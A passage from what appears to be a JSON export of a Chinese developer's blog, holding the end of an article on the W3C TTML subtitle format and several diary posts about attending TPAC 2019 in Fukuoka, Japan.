标签方便预设布局的时候提供对应的样式，最终将预设布局赋值给内容标签。说预设和预定义的意思其实就是想说如果你不想使用预设的样式，你也可以直接在内容标签中使用对应的标签属性进行复写。\n主体内容这的话看起来和 HTML 非常相似，规范中定义我们可以使用 \u0026lt;div\u0026gt;、\u0026lt;p\u0026gt;、\u0026lt;br/\u0026gt;、\u0026lt;span\u0026gt;这几个标签来描述内容。\u0026lt;div\u0026gt; 用于对内容进行分块，所有的内容都应该包裹在 \u0026lt;div\u0026gt; 标签中。\u0026lt;p\u0026gt; 是用于包裹单条字幕的最小标签，所有对应这条字幕的描述都需要包裹在这个标签中。当然如果想要对某条字幕的部分内容进行配置，则可以将需要配置的内容使用 \u0026lt;span\u0026gt; 标签进行包裹。如果想要对内容进行换行，则使用 \u0026lt;br/\u0026gt; 标签即可。\n字幕样式 TTML 的字幕样式配置和 CSS 其实整体是十分像的，只是它改成了标签属性的形式。它支持设置字幕的字体、字号、颜色、大小、行高、排列方式等文字样式，以及边框、背景、位置等字幕块的样式。\n字幕位置 众多的样式属性中，位置属性是最重要的。TTML 提供了下列三种属性让我们对字幕位置进行自定义。\ntts:extent：用于定义字幕的尺寸，例如 tts:extent=\u0026quot;100% 10%\u0026quot; 表示的是字幕宽度为 100%，高度为 10%。 tts:origin：用于定义字幕左上角的绘制原点，例如 tts:origin=\u0026quot;0% 90%\u0026quot; 表示的是以内容左上角为原点，(0, 90%) 的位置开始绘制。 tts:position：该属性是 TTML2 中新增的属性，用于强制定义字幕位置。区别于 origin 是左上角的偏移，position 是根据设置的属性动态原点的偏移。例如 tts:position=\u0026quot;70% 50%\u0026quot; 的话则是相对于字幕块的(70%, 50%)点作为原点整体字幕偏移相对于内容区域的(70%, 50%)。 可以看到，相对于 Web 的盒子布局，我们需要额外的手动定义字幕的尺寸和位置，这对于习惯了浏览器自己绘制渲染的我们来说还是非常不习惯的。特别是文字的布局如果没有 CSS 的自动计算，实际上是非常麻烦的，包括字幕内容的多变以及字号行高样式都需要考虑进去。\n字幕动画 相对于其它字幕格式，支持动画是 TTML 的一大特色。它借鉴了 SVG 的 SMIL 动画标签规范，提供了以下下三组标签让我们可以对字幕动画进行描述。\nset：用于定义在某段时间内字幕内容的样式变化，例如 \u0026lt;set begin=\u0026quot;1s\u0026quot; dur=\u0026quot;1s\u0026quot; tts:color=\u0026quot;red\u0026quot;/\u0026gt; 表示的是 1s 后将字幕颜色设置成红色并在 1s 后取消设置。 animate：TTML2 新增的动画属性，支持使用关键帧的形式定义某段时间内字幕样式变化。例如\u0026lt;animate keyTimes=\u0026quot;0;0.2;1\u0026quot; tts:color=\u0026quot;red;green;blue\u0026quot;/\u0026gt; 表示字幕在 0s 的时候为红色，0.2s 后线性转变为绿色，1s 后再线性转变成蓝色。支持多个样式属性变化定义。 animation：多个 animate 或者 set 动画标签的容器标签。 可以看到 set 支持状态的变化但是其实本质是动态的属性修改，直到 TTML2 增加了 animate 标签后 TTML 才算是真正意义上的支持了“动画”。通过关键帧我们能更方便的定义一系列的属性变化并进行自动的补间计算。\nTTML vs WebVTT 单从 Web 上来看的话，浏览器兼容性好、配置简单、自动布局而且还支持 CSS 定义样式的 WebVTT 无疑是更优秀的。不过 TTML 浏览器兼容性虽然不咋地，但是在广播电视电影等公司的数字媒体设备中的兼容性还是非常不错的，而且除了文本之外，TTML2 还新增了音频、图像、字体等富媒体内容的内嵌，字幕内容的丰富性和无障碍性方面都有不俗的表现。\n不过 TTML 规范因为制定时间比较早的原因所以采用了 XML 协议，现在看来在 Web 上是不讨喜的，特别是 Chrome 还明确指出这与他们想要删除 XML 的依赖支持的理念违背而将不予以实现。可以预见的是在很长的一段时间内，TTML 的浏览器兼容性应该都不会好就是了。\n当然针对不复杂的 TTML 字幕，和 WebVTT 的相互转换是比较简单的，下图是同等效果的 TTML 和 WebVTT 字幕文件的内容对比。\n后记 TTML 不仅兼容性不好，资料也是少的可怜，国外的资料少的可能，国内的资料抱歉我没搜到。好在文档不是很多，稍微啃一下还是能啃明白的。本文可以算是国内第一篇正儿八经的介绍 TTML 字幕的文章了，希望能帮助大家快速了解 TTML 规范。总体个人感觉上 TTML 是将样式和内容内嵌在一起，整体和 SVG 会比较类似，方便了多平台的渲染统一。但是 TTML 这个规范在使用难易度以及兼容性上其实相较于 WebVTT 来说都是不足的。特别是这种不足会越来越大，剩下的优势也就是富媒体内容和动画这块了。作为在 Web 上实现同样功能的两种规范，后续如果真的有这两方面的需求的话，我个人猜测在 WebVTT 上增加这方面的支持的可能性会更大一点。\n参考资料：\n《Open Source Support for TTML Subtitles Status Quo and Outlook》\n《Timed Text Markup Language 2 (TTML2)》\n《Timed Text Markup Language 1 (TTML1) (Third Edition)》\n","count":2936,"date":"2019年10月05日","featuredImage":"https://imnerd.org/assets/migration/p3.ssl.qhimgs4.com/t01289cbbd49ec72c44.png","permalink":"https://imnerd.org/ttml-w3c.html","summary":"\u003cp\u003e说到视频字幕格式，一般大家都会想到 \u003ccode\u003e.srt\u003c/code\u003e, \u003ccode\u003e.ass\u003c/code\u003e 之类大家比较常用的格式。而现在说到 Web 字幕格式，大家第一反应肯定都是 \u003ca href=\"https://developer.mozilla.org/en-US/docs/Web/API/WebVTT_API\"\u003eWebVTT\u003c/a\u003e。我们知道在\u003ccode\u003e\u0026lt;video\u0026gt;\u003c/code\u003e或者\u003ccode\u003e\u0026lt;audio\u0026gt;\u003c/code\u003e 标签中要加载字幕的话，需要使用 \u003ccode\u003e\u0026lt;track\u0026gt;\u003c/code\u003e 标签将字幕文件嵌入进来。而在 \u003ca href=\"https://developer.mozilla.org/en-US/docs/Web/HTML/Element/track\"\u003etrack\u003c/a\u003e 的文档中我们会发现其实还有一种 Web 字幕格式，那就是本文的主角 TTML。\u003c/p\u003e","time":6,"title":"TTML—让 W3C 获得艾美奖的字幕规范"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":"前言 最近 W3C 在日本福冈举办 TPAC 2019 大会，我和公司的几个小伙伴有机会一起去参加，顺便领略了下日本的风景以及乡土人情。具体每日的见闻游记可见之前的几篇文章：\n日本福冈行-Day 1 日本福冈行-Day 2 日本福冈行-Day 3 日本福刚行-Day 4 日本福冈行-Day 5 总体来说福冈给我的印象就是环境很好，地方很小，人很友好，非常适合来旅游。\n食 由于大部分时间吃的都是酒店提供的，所以吃的方面感受一般。主要是逛了两次超市，发现除了鱼稍微便宜点，蔬菜和肉类是真的非常贵。白萝卜半根要15块人民币了，三片猪肉要20多人民币。\n另外就是感觉他们的早饭要么是自己做，要么是去便利店买速食的。因为好像没在街上发现有专门的早餐店。另外他们大部分店都是8点之后才开门，找个早餐店真的好难。\n吃了一顿拉面，刚开始吃还觉得挺好吃的，吃多了之后就发现有点腻。主要是汤油多盐多，味道比较中，吃多了就感觉有点咸的慌。不过吃了一顿烤肉，他们的烤牛肉还是挺好吃的，好评！\n最后，当地有名的肥肠锅吃了一次实在是不敢苟同。\n住 溜达了几天，发现日本的所有东西都很小，住的房间、道路、货架摆放的间隙等等。希尔顿作为5星级酒店都能有标间的两张床靠一块的场景，也是没谁了。而且床长度也很窄，不知道一些一米九或者两米的巨型外国友人那几天是怎么睡得。去唐吉可德购物也是，货架之间的位置过去的时候让我感到非常不适。\n另外似乎日本人喜欢租房住，溜达的时候看到很多的公寓都在招租。路过房屋中介的时候看了下发现其实房价也还好的样子，不太懂为什么这么多空房。\n行 刚到日本就被靠左行驶整的有点懵。上了公车之后分段计价需要上来的时候拿一张纸条也搞的我有点懵。投币的时候不是往硬币口头搞的我依旧很懵。好在最后办个公交卡让我不用去纠结这个问题了。当然我发现在日本老弱病残专属座位也是有人会坐的，之前还以为只有国内会这样呢。\n另外日本很多人喜欢骑自行车，电动车和摩托车见的比较少，大部分的地方都有专门的自行车停车位。另外据说打车也非常的贵。\n文化 去福冈博物馆发现博物馆还有休闲读书室的作用，很多人在里面学习。而且作为11区萌化大国，万物皆可萌化的今天居然把日本非常有特色的武士刀也萌化了，作为日本文化的传承我觉得还是有不小的功劳的。另外去书店里也有很多的辅导书，轻小说系列占了很大的区域。在公车上有看到40岁左右的大叔也在拿着手机看漫画，好几个女生会开着 Pokermon GO 抓小精灵，不愧是萌物大国。\n另外就是感觉日本人英语能力都还是不错的，基本上进个店里说点英语还是有人能听懂的，这个在国内可能就够呛了。当然完全不懂英语的也是有的，但是比起国内感觉还是要好很多。靠着我的蹩脚英语，总算还是能正常行走。不过也越发的感觉自己的英语很烂，和店员正常交流的及格分都算不上，更不用说在 TPAC 上听他们的正常语速的英语交流了，看来后续还是要多听多说呀。\n其它 除了上面这些，感受最深的还要属日本的老龄化。日本的老龄化真的可以很明显的感受到。到福冈机场就发现大部分的工作人员都是50+上的大叔，在公车上有很多都是70左右的阿姨（奶奶？）。大街上大部分都是年轻的女性，偶尔会有一些带着小孩的母亲出来溜达。当然可能是因为我们都是工作时间在外面，看到的比较片面吧。不过还是从一定程度上能够看出日本的老龄化问题的。\n","count":1330,"date":"2019年09月24日","featuredImage":null,"permalink":"https://imnerd.org/fukuoka-2019-feeling.html","summary":"\u003ch2 id=\"前言\"\u003e前言\u003c/h2\u003e\n\u003cp\u003e最近 W3C 在日本福冈举办 TPAC 2019 大会，我和公司的几个小伙伴有机会一起去参加，顺便领略了下日本的风景以及乡土人情。具体每日的见闻游记可见之前的几篇文章：\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://blog.imnerd.org/post/fukuoka-2019.html\"\u003e日本福冈行-Day 1\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://blog.imnerd.org/post/fukuoka-2019-2.html\"\u003e日本福冈行-Day 2\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://blog.imnerd.org/post/fukuoka-2019-3.html\"\u003e日本福冈行-Day 3\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://blog.imnerd.org/post/fukuoka-2019-4.html\"\u003e日本福刚行-Day 4\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://blog.imnerd.org/post/fukuoka-2019-5.html\"\u003e日本福冈行-Day 5\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e总体来说福冈给我的印象就是环境很好，地方很小，人很友好，非常适合来旅游。\u003c/p\u003e","time":3,"title":"日本福冈行之游后感"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":"今天是最后一天在日本啦。最近是 iPhone 11 新品发售，本来我是没想要买的，但是昨天晚上博文和我说在日本买会便宜将近2000块钱，我就有点心动了。头疼的是博文大晚上一直在那里纠结要买256G还是512G，一边说自己现在 256G 也只用了不到一半，一边说那是因为开了 iCloud 照片优化省下来的以及最新的三摄像头肯定照片大小会比之前的大，还觉得可能 512G 的会更赚一点，俨然是一副数码小白的样子。从12点30自己一个人在床上嘀咕纠结了半个小时=_=||，刚开始我还应两声，后来实在是困得不行了就不搭理他先睡觉了。\n注：苹果点排队中\n早上起来也不知道他怎么想明白了，最后决定还是买 256G 的了，果然还是有钱给愁的。去711买了个早午饭回饭店吃完时间差不多就去苹果店排队了。结果在苹果店对面发现排了一串超长超长的队，我站在队伍头看根本看不到队伍尽头在哪里，当年的苹果排队也不过如此吧。后来听飞机上的小姐姐说才知道原来今天是乔丹 AJ 发售，他们是来排队买鞋的，只能说有钱人的世界太可怕。\n注：iQOS 店里面看起来很高级的设备\n在店里预约之后他让我11点过来，博文就去买电子烟的烟弹了。主要是他昨天晚上查了下，发现他昨天买的特别贵贼好的电子烟烟弹在国内买不到，所以就想着多带点回去先。说到他昨天买的电子烟也是头大，拿到电子烟抽了几口之后又得意又得瑟的和我推广这电子烟怎么怎么牛逼怎么怎么贵怎么怎么好，简直是恨不得化身人家的店员来推广了。最后没有什么可以词可以形容了就重复的在说“这个好”、“这个真不错”。店里买烟弹的时候也是，因为很多种口味，一直在纠结到底要什么口味，“ purple menthol” 拿机器翻译是紫薄荷，他非觉得人家翻译的不对，网上查到的中文是蓝莓味。最后总算不纠结买了两盒，结果感觉不够又买了两盒。反正我是被他给打败了频频翻白眼[白眼]。\n注：今益稻和神社\n回去把烟弹放下后差不多到时间就去苹果店取货了。取货的时候有点尴尬，因为之前预约的时候没说会发邮件过来，我一直以为是报我之前预约的邮箱给他就可以了，所以一直没理解他说的话。后来来了个会说中文的小姐姐说了一下才反应过来原来是要邮件，我这才想着去查下邮箱客户端。然后他的发音不是很标准，问我们是否需要免税（Tax Free）结果感觉他一直在说 Tax Three，我就愣了半天没明白过来，后来拿翻译软件确认了下原来理解的没有错，不过我和博文都没有理解为什么要问这个，毕竟肯定有免税肯定会用免税咯。取货的时候因为博文之前排队的时候回酒店了，我就用我的账号预约了两个，然后需要分开付款又花了一点时间。等待的时候发现之前和我们坐同一趟航班过来的机友之前排在我们后面的结果比我们先买完回去了。还发现一个外国小哥哥买完之后拿着手机在那里自拍炫耀 XDD。历经破折之后总算拿到货了，8972.03 元是最后花的钱，比国内买便宜了 1900 多，简直是赚到啦。\n注：警固神社内的石柱\n回去放了下东西之后因为博文说他想要买一些伴手礼我想去旁边的警固神社看一下就分道扬镳了（然鹅实际上他似乎也没买伴手礼，只是又有其它想买的东西而已）。到警固神社的时候非常意外的发现居然有人在结婚，穿的是非常和式的服装，还有神社的神官以及巫女主持仪式，简直有超级赚到。拍神社的过程中感觉有位阿姨本来在许愿，看我在拍照特地让开了下等我拍，我为了不让人家尴尬就赶紧走开了，后来才看到她继续许愿去了。还在神社买了个挺好看的手串。\n注：日式传统婚礼\n在酒店等了一会儿博文我们就赶紧做地铁去机场啦。到机场发现还蛮破折的，到的地方是国内航线位置，需要坐免费巴士转到国际线上。结果不坐不知道一坐吓一跳，居然开了十来分钟才到国际口。想着还好来的时候没去找地铁口，老老实实等了半天公车。找了半天值机的地方没找到，意外的是机场里 Air China 的工作人员居然听不懂中文，也是可以了。看着那么长的派对队伍，想着还有一个小时就要登机了也是愁啊。后来好像是有末班旅客加急，服务人员找到了我们然后让我们走快速通道进去了这才赶上了。进了机场碰到了 TPAC 的其它老师们，因为伴手礼之前冰晶帮买了我就只买了个皮卡丘手办就是了。\n注：阿姨看了我一眼然后下一秒就避开了\n上飞机了后和旁边的一个小姐姐聊了一路，她是做代购的，然后说了下今天排的队的事情还有就是代购的一些艰辛吧。然后和我说了很多特价机票的事情，一趟机票便宜的才一千多块钱，真的是炒鸡划算。正好博文的烟弹之后可能需要代购，下飞机之后我就把小姐姐的微信转给他了。\n注：警固神社买的好看的手串\n这趟福冈到北京经大连转机的航班出去还挺麻烦的，有国际旅客也有国内旅客，所以摆渡者都有两个不能混坐，要不然就拿不到托运的行李了。陈强老师估计赶时间，怕走国际出口又要过一遍海关检查找了各种电话确认后总算确认如果没有行李的话是可以走国内口出去的。我因为之前博文买的陶瓷刀不确定是否能随身带，最后决定就放我的箱子中托运了。所以我得需要去国际出口等行李才行，这样发现又能去一趟日上了。在日上里把小仙女他们要买的东西买齐了之后我和博文就打车走啦。\n","count":2021,"date":"2019年09月21日","featuredImage":null,"permalink":"https://imnerd.org/fukuoka-2019-5.html","summary":"\u003cp\u003e今天是最后一天在日本啦。最近是 iPhone 11 新品发售，本来我是没想要买的，但是昨天晚上博文和我说在日本买会便宜将近2000块钱，我就有点心动了。头疼的是博文大晚上一直在那里纠结要买256G还是512G，一边说自己现在 256G 也只用了不到一半，一边说那是因为开了 iCloud 照片优化省下来的以及最新的三摄像头肯定照片大小会比之前的大，还觉得可能 512G 的会更赚一点，俨然是一副数码小白的样子。从12点30自己一个人在床上嘀咕纠结了半个小时=_=||，刚开始我还应两声，后来实在是困得不行了就不搭理他先睡觉了。\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://imnerd.org/assets/migration/blog.imnerd.org/static/upload/20190924/upload_3cbcb6d80512576f039d14a2ff0a3fd3.png\" alt=\"\"\u003e\u003cbr\u003e\n注：苹果点排队中\u003c/p\u003e","time":5,"title":"日本福冈行-Day 5"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":"今天是 TPAC 的最后一天，上午没有什么特别想听的，下午有中文兴趣小组的会议，这个当然是要去听一下的。文力走了之后我和博文住了一间，不幸的是他晚上睡觉也打呼噜，不过幸运的事是我好像安稳睡着了。早上因为之前没和他定好时间起床，我起的比较早不敢吵醒他就等了许久，等了一个多少时，实在是等不住了就起来洗漱了。然后又等了一个多小时，实在是等不住了就把他叫醒问下他的房卡在哪我先去吃饭去了。因为我要把我的房卡拿走的话屋里头就没电了。吃完饭回来发现他还在睡觉就又等了一个多小时，因为早上十一点前需要退房，时间比较紧我怕到时候赶不上。等到快十一点的时候他总算是醒了，收拾收拾就赶紧退房去了。\n注：福冈博物馆打卡\n退房之后都快十二点了随便聊了一会儿就草草的吃了个午饭我就准备去逛一下之前一直想去的福冈博物馆了。从胡春明老师那了解到时间不长，门票是200日元。进去参观了下发现真是如胡老师所说历史没那么长，进门就是福冈博物馆的镇馆之宝汉朝送给倭奴国的官方认证金印，然后这个金印就讲了小半个管。之后就是一些当地的时代发展，包括生活器具、葬礼、祭祀和风俗习惯等的一些历史发展，以及整个城市的时代发展历程。不过让我印象最深的还是为了宣传当地之前有名的领主黑田家和 samurai，当天正好是有 samurai 的特别展的，以及最近正在火热上瘾的动漫刀剑乱舞系列的漫展。不得不说日本动漫真的是什么都能搞成动漫，连剑都能拟人化，还挺好看。\n注：博物馆金印现场体验\n草草的看完之后回到酒店正好赶上了下午的 Chinese IG 会议，主要是把这次会议上的一些议题重新稳固讨论一下。第一个议题是弹幕，这个议题比较有意思是和 TTWG 小组的人一块开的，主要是想看看 ttml 字幕格式对于实现弹幕上是否会有什么帮助。不过徐嵩老师他们认为 ttml 字幕主要还是用来强调内容，而弹幕主要还是用来强调表现样式。虽然全程都是徐嵩老师把中文的在线文档翻译成了英文描述，不过印象最深的是最后 niconico 的老师给了一个 niconico 的弹幕演示以及我们提供了一个 bilibili 的弹幕演示把几个老外都惊呆了，纷纷表示 amazing。\n注：博物馆中的武士服\n第二个议题是 clreq，这个只给了20分钟的时间。然后董福兴老师感觉话匣子开的比较大，话题扯的又很远，最后其实我都没有搞明白他道理需要什么。其它老师似乎也没有很明白，最后特别问了一下之后才了解其实是需要一些需求 case。不过这个议题我还是听的很舒服的，因为本身对 clreq 这块还比较感兴趣，之前有特地去了解过相关的历史和资料，type is beautiful 这个网站上的内容也看的比较多，所以对他说的一些知识都能衔接上。\n注：clreq 规范的撰写者福兴老师\n最后一个议题就是小程序了，直到这次中文讨论我才渐渐明白小程序标准他们到底想做些什么。其实我听完之后感觉还是有一些点是非常同意的，而且 W3C 的 charls(?) 也明确给了一个定义MiniApp 其实就是 Web Application，不是什么特别的独有的东西。MiniApp 是一个 package 但是 PWA 不是。对于这个定义我觉得还是比较同意的。同时他们还明确了将可以和其它组织合并合并的需求提交到其它组织中，不可以的则在 MiniApps CG 中进行讨论，最终形成一个小程序的最小子集。同时也确定了小程序 CG 组的创建，他们规划了一下之后的具体工作，包括他们之前提出的需要一个类似 URI 的小程序唯一路径的实现、将 package.json 的需求提交到 manifest.json 小组、将打包相关的逻辑提交到 web package 小组、widget 需求等。\n注：酒店旁边的大桥\n开完会之后我们就赶紧出发到了今晚入住的酒店了。这酒店居然还要复印护照，而且尴尬的事情是冰晶之前居然订的是一张大床房，我们去找前台看能不能换结果发也没房了。放好东西我就在大众上随便找了一家店（一富）吃饭，好不容易到了地方结果发现根本就没有位置。没办法只能就近随便找一家了，结果去了一个饺子店发现需要排队，排了三四十分钟之后总算到我们了。草草的点了一些菜发现有些菜味道还是不错的，汤饺味道也可以，啤酒和梅子酒都挺好喝的，边吃边聊和贺老聊了一些 TC39 的八卦，发现做标准的人也是什么样的人都有。\n注：想换到这个位置上结果因为位置紧张没换成\n回来之后发现之前让酒店前台给我们加的一床薄被子结果是床单，也是很尴尬。不过酒店的电视比较高级，有一些少儿不宜的画面，嘿嘿。\n","count":1694,"date":"2019年09月20日","featuredImage":null,"permalink":"https://imnerd.org/fukuoka-2019-4.html","summary":"\u003cp\u003e今天是 TPAC 的最后一天，上午没有什么特别想听的，下午有中文兴趣小组的会议，这个当然是要去听一下的。文力走了之后我和博文住了一间，不幸的是他晚上睡觉也打呼噜，不过幸运的事是我好像安稳睡着了。早上因为之前没和他定好时间起床，我起的比较早不敢吵醒他就等了许久，等了一个多少时，实在是等不住了就起来洗漱了。然后又等了一个多小时，实在是等不住了就把他叫醒问下他的房卡在哪我先去吃饭去了。因为我要把我的房卡拿走的话屋里头就没电了。吃完饭回来发现他还在睡觉就又等了一个多小时，因为早上十一点前需要退房，时间比较紧我怕到时候赶不上。等到快十一点的时候他总算是醒了，收拾收拾就赶紧退房去了。\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://imnerd.org/assets/migration/blog.imnerd.org/static/upload/20190924/upload_6354c03c594a7a639383003bbebbf90e.png\" alt=\"\"\u003e\u003cbr\u003e\n注：福冈博物馆打卡\u003c/p\u003e","time":4,"title":"日本福刚行-Day 4"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":"昨天晚上没有睡好，文力桑好像没枕到枕头所以半夜开始打呼噜。我被逼的带了耳塞发现效果还不是很好，就刷了几个小时的手机，将近6点多才睡着。7点多想着要听8点30的 SVG WG 会议，就赶紧和文力下去吃了早饭，时间关系早饭也是草草的结束了。\n去了 SVG WG 会议室，发现人真的很少，大概8个人吧，后来陆陆续续的又来了两三个人。因为主要人都没来所以等了半个多小时，中间一个日本的老大爷和另外一个老外聊起来推广他最近做的一些基于 SVG 的地理信息可视化相关的东西，比如针对最近日本的台风天气做的一些处理，点多性能好操作方便等等。人来齐了之后发现速记员还挺帅的，全场唯一的女性是 SVG 中大佬的大佬！还过来和我打了声招呼说了了下好像以前没见过我，我和她说了下我只是因为感兴趣所以过来听听。\n会议开始后发现大家讨论的内容我完全听不懂，包括 SVG 的测试以及之前的一些 issue 等等。即使是跟着 IRC 速记内容看，也只能是理解这句话他在说什么，不明白他们具体在讨论的内容。强撑了近一个小时之后因为文力要赶飞机了所以最后和他一块出来了。\n注：酒店旁边发现的四只野生小猫\n文力上来收拾了下东西之后我和他们一块去了天神市中心帮他们拎行李。公车上还挺尴尬的，上来的都是70多的老太太，但是我们拎的行李又比较多，让座还不方便，真是尴尬死我们拉。到市中心冰晶他们在三越把剩余的东西买齐之后我们去吃了我心念已久的一兰拉面。整个的排队上座的流程非常的尴尬，等上座之后发现真的是和电视里面演的一模一样诶，一人一个座位的那种。面也非常的劲道，虽然我点了较软一点的面。面汤还是非常的不错的，不过因为点了太多豚骨了，搞得有点油腻。面的一些可配置化的东西比较多，让我选的有点脑壳儿疼。整体来还是一次不错的面食体验。\n注：一兰拉面\n吃完面就送他们去机场线做飞机分别啦。吃面的时候还挺尴尬的，我以为我的酒店房间不用更换，博文直接搬过来就可以了。结果他说我的房间只订了一天，今天到期了需要把东西拿出来才行。我之前不清楚这个事情，而且也不在酒店，只能干着急。想紧急联系博文对方还挺忙不接电话。好在我的行李每次都是整理好出门，只是有一些小物件没整理而已。最后在这种情况下酒店说可以换房了，并需要在下午四点前来拿房卡。\n注：在希尔顿酒店34层俯览福冈\n所以送完他们我就赶紧坐 W1 回去啦。到酒店我上原来的房间收拾了一下，然后博文找到之前联系的酒店前台一个台湾的小姐姐帮我们处理卡的事情。不得不说小姐姐很棒，中英日无障碍切换，比起我的蹩脚英语不知道是高了多少倍。处理好房间的事情我们就出去沿着海边溜达去啦，和博文胡天海地的聊了一通，结果最后聊了个工作的话题意见不太统一不欢而散。\n注：福冈塔近景\n博文说要买电动牙刷所以带他去昨天的百货商场的顶楼电器区转了一下，往下走到三楼的时候逛着逛着就说逛不动不想走了也没听我说啥就走了，搞得我真是尬。因为和晚上六点半的中文小组聚餐还差一个小时所以感觉不太合适，不过博文还是回去了。我就接着在逛了一下之前冰晶推荐我的二楼书店。去看了下简直棒呆，技术区同时发现三大框架教程书，电器文库区最近在追的漫画都有小说版在发售，石纪元记、转生成史莱姆的那些事、骨王、黑子等等数都数不过来，要不是看不懂日文肯定当时就买了。在书店还买了很多小文具和小便签之类的，结账的时候想把日元花掉所以很尬在一个劲的找合适的零钱，最后还是果断放弃。\n注：各种热门轻小说正在追的动漫书店都有在售，还有 React,Vue,Angular 三大框架\n晚上的中文聚餐吃的是牛肠锅，感觉果然还是不太好吃。同桌的有咪咕的两位老师，还有 Smart Web 的老师以及百度的老师等。吃饭的时候听 Smart Web 的老师讲了好多非常有趣的计算机相关的有趣历史，还是挺涨姿势的。\n注：牛肠锅\n吃晚饭我让博文帮我把包带回酒店我就去实现我今天最大的目标—跑步去啦！哈哈最后发现之前计划的路线居然正好五公里，正好一圈简直不能更棒了。沿着海边有微微的海风吹过跑起步来真的很舒服。跑步的路上看到夜色非常不错，大大的月亮在 Hilton 酒店的后面交相辉映，简直美呆了。可是不足的是 iPhone 的拍照质量很差，完全拍不出肉眼看到的效果，也是没谁了。\n","count":1648,"date":"2019年09月19日","featuredImage":null,"permalink":"https://imnerd.org/fukuoka-2019-3.html","summary":"\u003cp\u003e昨天晚上没有睡好，文力桑好像没枕到枕头所以半夜开始打呼噜。我被逼的带了耳塞发现效果还不是很好，就刷了几个小时的手机，将近6点多才睡着。7点多想着要听8点30的 SVG WG 会议，就赶紧和文力下去吃了早饭，时间关系早饭也是草草的结束了。\u003c/p\u003e\n\u003cp\u003e去了 SVG WG 会议室，发现人真的很少，大概8个人吧，后来陆陆续续的又来了两三个人。因为主要人都没来所以等了半个多小时，中间一个日本的老大爷和另外一个老外聊起来推广他最近做的一些基于 SVG 的地理信息可视化相关的东西，比如针对最近日本的台风天气做的一些处理，点多性能好操作方便等等。人来齐了之后发现\u003ca href=\"https://twitter.com/markusstange\"\u003e速记员\u003c/a\u003e还挺帅的，全场唯一的\u003ca href=\"https://twitter.com/AmeliasBrain\"\u003e女性\u003c/a\u003e是 SVG 中大佬的大佬！还过来和我打了声招呼说了了下好像以前没见过我，我和她说了下我只是因为感兴趣所以过来听听。\u003c/p\u003e\n\u003cp\u003e会议开始后发现大家讨论的内容我完全听不懂，包括 SVG 的测试以及之前的一些 issue 等等。即使是跟着 IRC 速记内容看，也只能是理解这句话他在说什么，不明白他们具体在讨论的内容。强撑了近一个小时之后因为文力要赶飞机了所以最后和他一块出来了。\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://imnerd.org/assets/migration/p4.ssl.qhimgs4.com/t012b1a5d63e74df9be.jpg\" alt=\"酒店旁边发现的野生小喵\"\u003e\u003cbr\u003e\n注：酒店旁边发现的四只野生小猫\u003c/p\u003e","time":4,"title":"日本福冈行-Day 3"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":"本来想早上早点起来去海边沙滩看看的，结果还是败给了懒觉睡到了七点半。洗漱后去吃了酒店的早饭，服务员会把每个人带到座位上而不是随便坐感觉服务还是挺周到的。吃的种类比较多，不过早上我还是喜欢喝个粥。不足的是油条炸的太硬了，泡了好久才泡软。\n注：酒店和风日式早餐\n当然我还是没忘记我是来参会的，早饭完后就去参会了。上午的应该是统一的会，不过语速都比较快只听了个大概（其实是没听懂）。有一个是说如何让 W3C 的规范更加可持续化的，还有一个是说之前 W3C 和 MDN 联合推出的针对开发者的调查报告的结果。\n注：中华人民共和国驻福冈领事馆\n听完会冰晶说要去附近的 MUJI 我们就走过去看了下，居然路过了中国驻福冈的领事馆。然后旁边的九州医院正好有急救车在急救，发现这个车出动的次数很高，经常能听到这个急救车的鸣声，感觉再一次辅证了日本老龄化的问题。路上还路过了一家超市，进去看了下发现除了海鲜稍微便宜一点，肉和蔬菜都非常的贵，感慨了下生活成本真的是高。\n注：十几块钱三片猪肉，几十块钱一点牛肉片，十几块钱半根大萝卜\n到 MUJI 逛了半天突然心水了一款样式很普通的帽子，想着今天这么晒也没带防晒正好需要就买了。收银的时候小姐姐说了一串日文听的我一愣一愣的她才发现我可能听不懂，然后简单的说一下 Credit Card 麻溜的就完成了所有的交易了。算了下来其实蛮贵的，一顶帽子将近200人民币了。嘛，不过难得来趟贵点点就贵点点吧。\n回去吃个中饭，因为冰晶要买个小电器我们又去旁边的 Markis 逛了一圈。路过电玩区发现居然有两个妹子在打太鼓达人，真的好稀罕呀。去了商店逛了一圈就发现游戏在日本卖的是真的贵，我看的 Switch 的游戏文力看的 PS 游戏然后都纷纷感慨还没在国内买的便宜[摊手]。\n注：打太鼓的妹纸，偷偷观看还被发现了\n下午的时候我们听了三场讨论会。第一个是国内的小程序白皮书的，发现国内整体英语水平是真的不太行，安琪和 Julia 的英语讲的还是比较清楚的，我听的都比较明白，其它同学的就一般般了。这个讨论会主要是给其它的人介绍一下小程序的概念和实现等内容。大家也都提出了一些比较好的建议，比如 Mozilla 的丹尼尔提出可以考虑把 package.json 的内容放到 manifest.json 中，然后提交给 PWA 的 manifest.json 的工作组。当然质疑声音也有，最大的问题大家也看出来了，其实大部分小程序的功能都是由客户端实现的，所以有人就在问这个和 Web 或者说和 W3C 有什么关系？我觉得这个问题问的还是非常的关键的。还有就是小程序的 ARIA 无障碍问题需要解决，以及安全问题还有不使用 DOM 的重复造轮子。还有 W3C 的老大提出来这个草案是否还不够成型不足以纳入到工作组中是否需要进如孵化等内容。\n注：夜晚的福冈塔\n第二个是我跟着文力去听了一个 Web 编解码的，大概说的是提供一个官方的 API 能够让我们对不同编码格式的视频流进行编码和解码的操作，甚至实现音视频流的混入。到这个会开始就只能听个大概了[哭笑不得]。印象最深的问题是音频编码相关的 API 在 Web Audio 中已经有实现，是否需要再造一个 API 来实现相关的功能等等。\n注：小孩的娱乐设施似乎是日本公寓的标配\n第三个我挑了一个图片格式的讨论会，进去发现是讨论随着最新的视频格式 .AV 